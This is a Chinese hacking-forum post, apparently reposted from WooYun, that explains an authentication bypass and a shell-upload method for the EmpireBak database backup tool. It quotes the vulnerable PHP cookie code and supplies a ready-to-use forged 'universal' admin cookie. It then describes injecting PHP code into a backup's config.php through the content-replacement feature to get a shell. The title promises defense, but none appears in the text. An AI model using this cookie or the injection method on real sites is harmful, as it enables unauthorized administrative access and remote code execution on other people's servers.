黑帽联盟

 找回密码
 会员注册
查看: 1517|回复: 0
打印 上一主题 下一主题

[系统安全] 帝国备份王(Empirebak)万能cookie及拿shell方法与防御

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)

    登录成功设置4个cookie,看代码

    PHP Code复制内容到剪贴板
    function login($lusername,$lpassword,$key,$lifetime=0){   
    global $set_username,$set_password,$set_loginauth,$set_loginkey;   
    if(emptyempty($lusername)||emptyempty($lpassword)) {     
    printerror("EmptyLoginUser","index.php");     
    }   

    //验证码   
    if(!$set_loginkey)   
    {   
    if($key<>getcvar('checkkey')||emptyempty($key))   
    {   
    printerror("FailLoginKey","index.php");   
    }   
    }   
    if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)   
    {   
    printerror("ErrorUser","index.php");   
    }   

    //认证码   
    if($set_loginauth&$set_loginauth!=$_POST['loginauth'])   
    {   
    printerror("ErrorLoginAuth","index.php");   
    }   
    $logintime=time();   
    $rnd=make_password(12);//生成随机字符   
    $s1=esetcookie("bakusername",$lusername,0);   
    $s2=esetcookie("bakrnd",$rnd,0);//随机字符   
    $s3=esetcookie("baklogintime",$logintime,0);   
    Ebak_SCookieRnd($lusername,$rnd);//   
    if(!$s1||!$s2)   
    {   
    printerror("NotOpenCookie","index.php");   
    }   
    printerror("LoginSuccess","admin.php");   
    }  
    再看看make_password函数

    PHP Code复制内容到剪贴板
    function make_password($pw_length){   
    $low_ascii_bound=50;   
    $upper_ascii_bound=122;   
    $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);   
    while($i<$pw_length)   
    {   
    mt_srand((double)microtime()*1000000);   
    $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);   
    if(!in_array($randnum,$notuse))   
    {   
    $password1=$password1.chr($randnum);   
    $i++;   
    }   
    }   
    return $password1;   
    }  
    这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

    PHP Code复制内容到剪贴板
    function Ebak_SCookieRnd($username,$rnd){   
    global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码   
    $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了   
    esetcookie("loginebakckpass",$ckpass,0);   
    }  

    下面给出万能cookie(key:value):

    XML/HTML Code复制内容到剪贴板
    ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6   
    ebak_bakrnd:35y5cCnnA4Kh   
    ebak_bakusername:admin   
    ebak_baklogintime:4070883661  
    使用以上cookie即可直接访问admin.php

    2.拿shell

    后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库

    备份数据,随便找个数据库备份,

    然后到替换目录文件内容里,选择刚才备份的数据库,

    将”$b_table=”

    替换成

    “phpinfo();

    $b_table=”

    20150914231931.png

    这里shell的路径就是bdata/mysql_20141007221849/config.php

    20150914231932.png



    本文转载自:乌云


    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部